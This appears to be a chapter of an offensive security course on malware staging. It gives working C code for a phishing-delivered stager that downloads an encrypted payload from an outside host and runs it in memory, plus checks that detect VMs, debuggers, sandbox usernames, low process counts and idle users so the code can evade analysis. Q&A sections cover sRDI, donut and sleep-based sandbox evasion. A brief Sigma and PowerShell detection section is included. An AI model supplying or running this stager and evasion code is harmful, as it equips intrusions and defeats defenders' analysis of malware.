Staging and Stager Design
The two-phase delivery model: tiny stager fetches full implant at runtime, reflective loading executes from memory without touching disk, environment checks abort in sandbox/analyst environments
Your initial-access phishing payload is a 5KB macro that runs when the document opens. Email security scans it, but the macro contains only a URL fetch and an execute-in-memory call — no shellcode, no beacon, nothing for static analysis to find. The actual 400KB encrypted beacon is fetched at runtime from a CDN URL and loaded directly into memory via reflective DLL injection. Before downloading, the stager checks: am I running in a VM? Are more than 100 processes running? Is the username "analyst" or "sandbox"? Do I see a debugger? Only if all checks pass does the stager contact C2 and pull the real payload. Analysts running the doc in a sandbox get nothing.
The Staging Model
Stageless vs Staged
| Property | Stageless (single file) | Staged (stager + download) |
|---|---|---|
| Size delivered initially | Full payload (200-500KB) | Only stager (5-15KB) |
| Network connection on delivery | None — fully self-contained | Required — stager must contact C2 |
| Disk exposure | Full payload written if stager writes it | Payload never hits disk (in-memory load) |
| AV/sandbox visibility | Full payload byte sequence scannable | Only stager bytes; payload encrypted until runtime |
| Payload rotation | New stager needed per change | Change payload on server; same stager works |
| Network failure handling | N/A | Stager fails; no compromise if C2 is offline |
| Use case | Air-gapped, USB delivery, no outbound | Most network-connected phishing operations |
HTTP Stager — WinHTTP Download + Execute
// Minimal HTTP stager: download encrypted payload, decrypt, reflectively load
// Target: < 10KB compiled, minimal import table
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
#define STAGE2_URL L"https://cdn-update.corp-tools.com/updates/v2/sync"
#define XOR_KEY "K9#mP2@qZ7!vL4&n" // single-use XOR key for transit obfuscation
// Note: use ECDH session key from ch116 for real crypto; XOR here for brevity
LPVOID FetchPayload(DWORD* payloadSize) {
HINTERNET hSession = WinHttpOpen(
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, NULL, NULL, 0);
if (!hSession) return NULL;
HINTERNET hConnect = WinHttpConnect(hSession, L"cdn-update.corp-tools.com",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/updates/v2/sync",
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
// Add headers matching malleable profile (ch113)
WinHttpAddRequestHeaders(hRequest,
L"Accept: application/json\r\nCache-Control: no-cache", -1, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, NULL);
// Read response into heap buffer
DWORD totalRead = 0;
DWORD chunkSize = 0;
LPVOID buf = HeapAlloc(GetProcessHeap(), 0, 1024*1024); // 1MB initial
do {
BYTE chunk[4096];
WinHttpReadData(hRequest, chunk, sizeof(chunk), &chunkSize);
if (chunkSize > 0) {
memcpy((BYTE*)buf + totalRead, chunk, chunkSize);
totalRead += chunkSize;
}
} while (chunkSize > 0);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
if (totalRead < 1024) { HeapFree(GetProcessHeap(), 0, buf); return NULL; }
// XOR decrypt (replace with AES-GCM in production)
DWORD keyLen = (DWORD)strlen(XOR_KEY);
for (DWORD i = 0; i < totalRead; i++)
((BYTE*)buf)[i] ^= XOR_KEY[i % keyLen];
*payloadSize = totalRead;
return buf; // caller passes to reflective loader
}
Payload Execution — Execute-Memory Shellcode
// Execute raw shellcode payload in current process (no disk write)
// VirtualAlloc RWX, copy shellcode, create thread on it
// For DLL payloads, use reflective loader (next section)
BOOL ExecShellcode(BYTE* shellcode, DWORD shellcodeLen) {
// Allocate RW first, copy shellcode, then change to RX (W^X compliance)
LPVOID mem = VirtualAlloc(NULL, shellcodeLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!mem) return FALSE;
memcpy(mem, shellcode, shellcodeLen);
DWORD old;
VirtualProtect(mem, shellcodeLen, PAGE_EXECUTE_READ, &old);
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL);
if (!hThread) {
VirtualFree(mem, 0, MEM_RELEASE);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFree(mem, 0, MEM_RELEASE);
return TRUE;
}
// For PE (DLL) payloads: use reflective DLL loading (below)
// VirtualAlloc + CreateThread pattern is the most detectable approach
// Prefer injection into a remote process — covered in process injection chapter
Reflective DLL Loading Concept
Environment Checks — Sandbox and Analyst Detection
// Pre-execution environment checks — bail out in analyst environments
BOOL IsVirtualMachine() {
// CPUID check: VMware/VirtualBox/Hyper-V hypervisor bit
int cpuInfo[4] = {0};
__cpuid(cpuInfo, 1);
if (cpuInfo[2] & (1 << 31)) return TRUE; // hypervisor present bit
// Registry artifacts
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\VMware, Inc.\\VMware Tools", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey); return TRUE;
}
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Oracle\\VirtualBox Guest Additions", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey); return TRUE;
}
return FALSE;
}
BOOL HasTooFewProcesses() {
// Sandboxes often have < 50 processes; real workstations have 100+
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) return TRUE;
PROCESSENTRY32W pe = {sizeof(PROCESSENTRY32W)};
int count = 0;
if (Process32FirstW(hSnap, &pe)) {
do { count++; } while (Process32NextW(hSnap, &pe));
}
CloseHandle(hSnap);
return (count < 60);
}
BOOL IsSandboxUsername() {
const wchar_t* badNames[] = {
L"analyst", L"sandbox", L"malware", L"virus",
L"maltest", L"test", L"admin", L"sample",
L"SYSTEM", NULL
};
WCHAR user[256] = {0};
DWORD len = 256;
GetUserNameW(user, &len);
for (int i = 0; badNames[i]; i++) {
if (_wcsicmp(user, badNames[i]) == 0) return TRUE;
}
return FALSE;
}
BOOL IsBeingDebugged() {
// PEB.BeingDebugged flag (IsDebuggerPresent reads this)
if (IsDebuggerPresent()) return TRUE;
// NtQueryInformationProcess ProcessDebugPort check
HANDLE hDbg = NULL;
typedef NTSTATUS (NTAPI *pfnNtQIP)(HANDLE, UINT, PVOID, ULONG, PULONG);
pfnNtQIP NtQIP = (pfnNtQIP)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQueryInformationProcess");
if (NtQIP) {
HANDLE port = NULL;
NtQIP(GetCurrentProcess(), 7/*ProcessDebugPort*/, &port, sizeof(port), NULL);
if (port != NULL) return TRUE;
}
return FALSE;
}
BOOL HasRecentUserActivity() {
// Sandboxes don't move the mouse — check recent input time
LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
GetLastInputInfo(&lii);
DWORD idle = (GetTickCount() - lii.dwTime) / 1000;
return (idle < 600); // active in last 10 minutes
}
BOOL ShouldAbort() {
if (IsVirtualMachine()) return TRUE;
if (IsBeingDebugged()) return TRUE;
if (IsSandboxUsername()) return TRUE;
if (HasTooFewProcesses()) return TRUE;
if (!HasRecentUserActivity()) return TRUE;
return FALSE;
}
Detection Engineering
-- Sigma: Detect staging patterns in Windows telemetry
-- 1. VirtualAlloc + WriteProcessMemory + CreateRemoteThread sequence
-- (classic shellcode staging in remote process)
title: Shellcode Staging via VirtualAlloc-WPM-CRT
logsource:
product: windows
category: process_creation
detection:
memory_alloc:
EventID: 10 # Sysmon ProcessAccess
CallTrace|contains: VirtualAllocEx
condition: memory_alloc
level: medium
-- 2. WinHTTP download followed immediately by VirtualAlloc RWX page
-- (staging: download + execute pattern)
-- Sysmon Event 7 (Image Load) + Event 1 (Process Create):
-- Look for: process that loaded winhttp.dll creates RWX allocation
-- 3. Reflective DLL indicators:
-- Module loaded but not in PEB module list (phantom module)
-- Memory region with PAGE_EXECUTE_READ but no mapped file backing
-- Detected via: VirtualQuery scan finding executable anonymous pages
-- PowerShell: find executable anonymous memory (likely reflectively loaded DLL)
Add-Type @"
using System; using System.Runtime.InteropServices;
public class MemScan {
[DllImport("kernel32.dll")] public static extern bool VirtualQueryEx(
IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
[StructLayout(LayoutKind.Sequential)]
public struct MEMORY_BASIC_INFORMATION {
public IntPtr BaseAddress; public IntPtr AllocationBase;
public uint AllocationProtect; public IntPtr RegionSize;
public uint State; public uint Protect; public uint Type;
}
}
"@
# State=0x1000 MEM_COMMIT, Protect=0x20 PAGE_EXECUTE_READ, Type=0x20000 MEM_PRIVATE
# (private executable = not a mapped file = suspicious)
Q&A
What is "sRDI" (shellcode-based Reflective DLL Injection) and why is it preferred over classic Reflective DLL Injection?
Classic Reflective DLL Injection (ReflectiveDLLInjection by Stephen Fewer) requires injecting the entire DLL PE file into a process and calling its exported ReflectiveLoader function. The stager must allocate memory, copy the PE, and use GetProcAddress-equivalent logic to find the ReflectiveLoader export — this requires knowing the DLL's export table, which means parsing the PE header from the injected buffer. sRDI (Shellcode-based Reflective DLL Injection, by monoxgas / nccgroup) converts a PE DLL into pure shellcode at build time. The shellcode is position-independent code that, when executed, performs the full reflective load procedure — allocating memory, mapping sections, resolving imports, calling DllMain. From the caller's perspective, it's just raw shellcode: allocate RWX memory, copy bytes, call CreateThread. No PE header parsing at injection time. The advantages: (1) the payload looks like shellcode, not a PE file, making memory scanning signatures less effective; (2) simpler injection code (no PE handling needed by the stager); (3) compatible with any shellcode execution technique (process hollowing, module stomping, queue user APC, etc.); (4) smaller minimum required memory (no PE alignment padding overhead until the reflective loader sets up the final image). donut (by TheWover) takes this further by supporting not just DLLs but .NET assemblies, VBScript, JScript, and XSL files, converting all to shellcode.
Why doesn't checking IsDebuggerPresent() reliably detect an analyst reversing the stager?
IsDebuggerPresent() reads the BeingDebugged flag from the PEB (Process Environment Block), specifically PEB.BeingDebugged at offset 0x2 (x64: 0x2). A skilled analyst using x64dbg or WinDbg can trivially patch this byte to 0 after attaching, so IsDebuggerPresent returns FALSE even with an active debugger. The NtQueryInformationProcess(ProcessDebugPort) check is similarly bypassable — ScyllaHide and various debugger plugins hook NtQueryInformationProcess to return NULL for the debug port. Timing checks (RDTSC, GetTickCount) are more resilient: they measure how long a code sequence takes and abort if it takes too long (the debugger pausing execution inflates timing). Hardware breakpoints (visible via debug registers DR0-DR7) are harder to hide but require kernel access to clear. The most reliable evasion is not a single check but a combination: VM detection + username + process count + user activity + a time-delayed callback (sleep minutes, not milliseconds). Against automated sandbox pipelines, a long sleep is highly effective: sandboxes run payloads for 30-120 seconds and many time out before a 5-minute sleep expires. Against human analysts, no check is permanent — a determined analyst can bypass all of them. The goal is raising the cost, not creating an unbreakable barrier.